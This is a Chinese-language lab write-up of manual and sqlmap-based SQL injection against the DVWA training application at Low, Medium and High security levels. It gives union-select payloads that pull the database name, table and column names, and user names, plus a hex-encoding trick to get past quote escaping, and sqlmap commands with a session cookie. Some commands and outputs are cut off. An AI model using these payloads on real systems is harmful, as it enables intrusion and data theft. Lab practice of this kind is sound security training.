手工SQL注入
Low:
输入 1 看看效果:
正常回显,然后试试 1’ 看看是不是字符型注入:
报错了,是字符型
尝试:
1 | 1' union select 1,2;# |
成功得到回显,列数是2
尝试获取当前数据库名:
1 | 1' union select 1,database();# |
成功得到当前数据库名:
1 | dvwa |
再尝试获取当前数据库的表:
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa';# |
成功获得表:
1 | guestbook,users |
再尝试获取users表中的字段:
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users';# |
成功获得该表的所有字段名:
1 | user_id,first_name,last_name,user,password,avatar,last_login,failed_login |
再尝试获取user字段内容:
1 | 1' union select 1,group_concat(user) from users;# |
成功获得该字段内容:
1 | admin,gordonb,1337,pablo,smithy |
Medium:
这题没给输入框,只能在给出的id里选择,但是,我们可以抓包
这下可以改id了
先测试测试
很好,然后试试 1’
报错了
尝试:
1 | 1' union select 1,2;# |
还是报错,似乎 ‘ 被转义了
尝试:
1 | 1 union select 1,2;# |
成功得到回显
尝试获取当前数据库名:
1 | 1 union select 1,database();# |
尝试获取当前库的所有表:
1 | 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa';# |
又报错了,这下肯定是 ‘ 被转义了
尝试使用16进制来绕过:
1 | 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761;# |
尝试获取表users的所有字段:
1 | 1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273;# |
再尝试获取user字段的内容:
1 | 1 union select 1,group_concat(user) from users;# |
Hign:
尝试输入 1 ,正常回显
但是这里直接输入 1’ 之后会报错,然后进不去DVWA
这时候我们可以在浏览器设置里面把DVWA的cookie给清除掉,之后就能进去了
之后的步骤和Low的并没有太大区别
1 | 1' union select 1,2;# |
1 | 1' union select 1,database();# |
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa';# |
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users';# |
1 | 1' union select 1,group_concat(user) from users;# |
Sqlmap工具注入
因为这个靶场需要登录 所以我们首先要拿到cookie:
而后直接用–cookie参数把它接在-u参数后面梭哈:
拼接前
1 | sqlmap -u "http://mc.clearwine.online:4444/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --batch |
拼接后
1 | sqlmap -u "http://mc.clearwine.online:4444/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e6ls9i7m7v68ukams1208m5k94" --dbs --batch |
得到数据库:
1 | available databases [2]: |
而后指定数据库为dvwa:
1 | sqlmap -u "http://mc.clearwine.online:4444/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e6ls9i7m7v68ukams1208m5k94 |
得到表:
1 | Database: dvwa |
而后指定表为users:
1 | sqlmap -u "http://mc.clearwine.online:4444/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e6ls9i7m7v68ukams1208m5k94 |
得到字段:
1 | Database: dvwa |
而后指定字段为user获取其内容:
1 | sqlmap -u "http://mc.clearwine.online:4444/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e6ls9i7m7v68ukams1208m5k94 |
得到字段内容:
1 | Database: dvwa |